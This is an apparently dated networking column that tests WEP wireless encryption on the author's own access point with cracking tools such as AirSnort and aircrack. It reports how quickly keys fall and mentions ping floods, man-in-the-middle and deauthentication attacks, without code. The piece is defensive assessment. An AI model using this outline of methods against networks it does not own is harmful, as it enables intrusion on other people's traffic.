 |
|
How Secure is WEP, Anyway?
|
|
| |
|
| Peter
J. Welcher |
|
| |
|
|
||||||||||||
IntroductionI intended to write this month about something other
than
wireless. But I've been spending a bit too much time recently working
with some
of the WLAN cracking ("security administration") tools, to see how well
they work on my own Wireless Access Point (WAP). There are a number of
good articles out there I'd also like to call your attention to, if
you're only loosely tracking WLAN security issues. So my intent here is
to summarize what's going on that affects WLAN security. The right conclusion to reach here is that you should consider
tightening up your
security, especially if your network cannot tolerate the risk of
breach of
confidentiality. The ZDnet link and the TomsNetworking link below have
some good practical advice for reducing exposure.
The WLAN tools work all came about because a consulting client
asked that their WLAN to be put to the test. The very good point made
by the
site Network Manager was that if I couldn't crack the WEP key, decode
packets, and discover passwords or confidential data in cleartext form,
then he was going to be hard-pressed to justify expending money on new
WAP's with better encryption. More precisely, there was a lot of claims
that WEP is insecure, and he wondered how real all that was. I completely agree with the devil's advocate side to this:
let's see just how easy or hard it is to crack, and see what we see
even if we do crack the WEP key and decode packets. Some of the tools
are slow and primitive. So there may be theoretical exposure, but
perhaps it is too time-consuming or knowledge-intense for
someone to actually want to use the tools. My conclusion is that while I've personally experienced some frustration with the tools, the exposure is real. The article The Myth of Easy WEP Cracking (http://www.oreillynet.com/cs/user/view/cs_msg/26023) contains some of the arguments for this point of view.
I'm also flattered
at the trust implied for my expertise! Philosophically I do have some
trouble with the logic that if
I can't expose critical data, then it's secure enough for a low-risk
network. I'd like to
claim some expertise in WLAN security. But I'm very aware I'm not a
teenager or other person spending hours a day working with the last
cracker-ware either.
In any case, I set out to explore the tools available on the
net, and
see how well they do on my own network. Links to various other articles
are scattered throughout this article, and it ends with links to other
resources and to WEP cracking tools.
Background: What's WEP?Recall that WEP is the original form of encryption used to control the association of a PC with a Wireless Access Point (WAP) or another PC (in ad hoc mode, which is one of the first things I turned off on my NIC settings).WEP has been superseded by WPA and WPA2 or 802.11i. Wi-Fi Protected Access (WPA) uses message exchanges like those in WEP, but uses either TKIP (new key every packet) or AES encryption for confidentiality. WPA also adds a method called Michael for message integrity checking and replay prevention, making it harder to alter selected bits in order to try to learn the key that way. WPA comes in industrial and home strengths. The former requires 802.1x with a RADIUS back end to authenticate users. This is much stronger than the SOHO version, which uses Pre-Shared Keys (WPA-PSK). WEP uses either 64 bit or 128 bit keys. However, the keys are
not really this many bits, since a 24-bit Initialization Vector
(IV) is used, to provide randomness. So the "real key" is
actually 40 or 104 bits long. Many WAP's allow you to specify an English passphrase, and
generate four hex keys from it. I gather this further restricts the
effective number of bits to explore using a brute force attack. Some
tools exploit this, e.g. weptools (link below). The author claims 64
bit generated from passphrase really amounts to 21 bits of protection,
which clearly isn't enough. Putting WEP to the TestThis section of the article reflects what's readily available off the Internet using Google.I was able (with some effort) to get AirSnort running on a
borrowed Enterasys DS 802.11b NIC and capture frames. AirSnort puts a
NIC into Monitor mode where passive packet capture can take place. It
also tried to exploit "weak" IV's for fast cracking of the WEP key.
AirSnort supports a long list of NIC cards, but not the Broadcom NIC in
my Dell laptop. I had problems getting a purchased D-Link or Linksys
NIC cards using the Aetheros chipset to work. The problem appeared to
be not the driver but the vendor-supplied configuration utility.
Something about the Dell kept crashing it. The Enterasys is based
on the Agere chipset. The configuration utility struck me as rather
primitive, but at least it worked! The AirSnort output file is in PCAP format and can be examined
using Ethereal. Interestingly (to me), AirSnort saw no "interesting"
(weak) IV's, which can be used to expedite discovery of the key. This
appears to confirm comments in the first SecurityFocus article below
about some WAPs and NIC drivers avoiding use of weak IV's. Logic to
exclude weak IV's would certainly be easy enough for
the vendor to program into driver or WAP. I also used airodump for capture (comes with aircrack as
Windows binary).
Curiously, airodump tells me I'm doing WPA, even though I'm
doing WEP. I'm not sure why it does that.
Using the captured data, I was able to repeatably crack 64 bit WEP keys in 1-2 seconds using the wep_crack program. (That means I did it twice). This required very little data, since it was just brute force.
Brute force against 128 bit WEP keys is not an option with
wep_crack. I'm trying it as I type using aircrack. No luck so
far! Late-breaking news: with almost 2,000,000 IV's, aircrack
cracked my 128-bit key in about 43 seconds. Finally! Those must have
been really strong IV's! <grin>
It seems like aircrack would be a lot faster if it did less screen i/o (just enough so you'd know it was working).
For detailed performance data on aircrack and some other
tools, see the first SecurityFocus article below. I gather that in general, one is better off with lots of
encrypted data to work with. Early programs focussed on massive amounts
of data. Now the focus has shifted to a large number of encrypted
packets with unique IV's. This allows the search algorithm to rule
certain choices out
faster on a statistical basis. So another present focus of the crackers is tools and
tricks to get you more IV data, faster. I simulated this using file
transfers and local ping flood,
since I'm able to associate with my own WAP.
This crudely simulates what you'd get by passively capturing traffic
from an associated user or set of users. Now that I've learned how to
do this efficiently, it takes 15-20 minutes to get the 2,000,000 IV's. The newer WEP cracker tools use ping floods, ARP frame replay,
etc. to garner many frames and IV's. I'm currently running cygwin over
Windows, not a full Linux, and this proved slightly limiting. In
particular, I couldn't get the aireplay tool to build (missing a key
header file, netpacket/packet.h). These tools should run about as
efficiently as the ping flood, they don't have a lot of frame building
to do. I had hoped to also explore WEPWedgie and chopchop, but time ran out on me.
If you're planning to go this route, other things you may want
to think about:
To complete the experiment, I tried decrypting the pcap
captured packets. The wep_decrypt program didn't like my hex key
(format to supply wasn't clear, and I didn't take time to read the
source). When I supplied the passphrase the keys were generated from,
Ethereal had no joy reading the packets, so maybe a header file
constant was off when I compiled the code. The 80211ether Windows
binary program worked very quickly and the results were clearly
cleartext. Here are before and after decryption screen captures showing
what Ethereal shows. Before:
What's the State of the Art?The following article makes pretty interesting reading, with a
catchy title: The Feds can own
your WLAN too, http://www.tomsnetworking.com/Sections-article111.php.
It points to some WEP cracking tools, also to the articles at the
following links. They both cover the current State of the Art.
Another good article with security hardening recommendations
that I agree with is at:
Cisco LEAP also exposes enough of the initial association for
similar dictionary attacks on poor
passphrases. For a tool, there are the following tools, at links
readily obtained via google: Caveat: I haven't tried these, and don't know how fast they
are. Another potential risk is Man-In-The-Middle attack. There's
code readily available to set your PC up as a WAP. This gets you people
trying to share their Pre-Shared Keys if you match the MAC address and
SSID of a real WAP. The other lovely development is tools that can Deny Service on WLAN. I noticed some discussion that this was feasible in principle a while back. Apparently folks are now doing it. The idea is to spoof the WAP sending disassociation frames. (No, I'm not going to link to tools that do this).
The IEEE just announced an effort to harden (encrypt) the 802.11 WLAN management traffic, which is not encrypted. See
WLAN LinksHere are some relevant books.
Here are links to my previous articles and seminars on WLAN security.
And here are some tool links. Disclaimer: I haven't tried all of these, and cannot vouch for their efficacy nor for the security of using them. Nor for the legal consequences of using them on someone else's network.
The articles by other authors mentioned above contain links to
yet more tools. I recommend checking out some of these sites to see
what folks are up to! Summary
I hope you've enjoyed this excursion into wireless security, or if not,
at least found it useful. I'm impressed with how much energy seems to
be going into cracking tools, although if you're trying to secure
things, you probably find it a bit scary! |
||||||||||||||||||||||||||||||||||||||||||||||||||
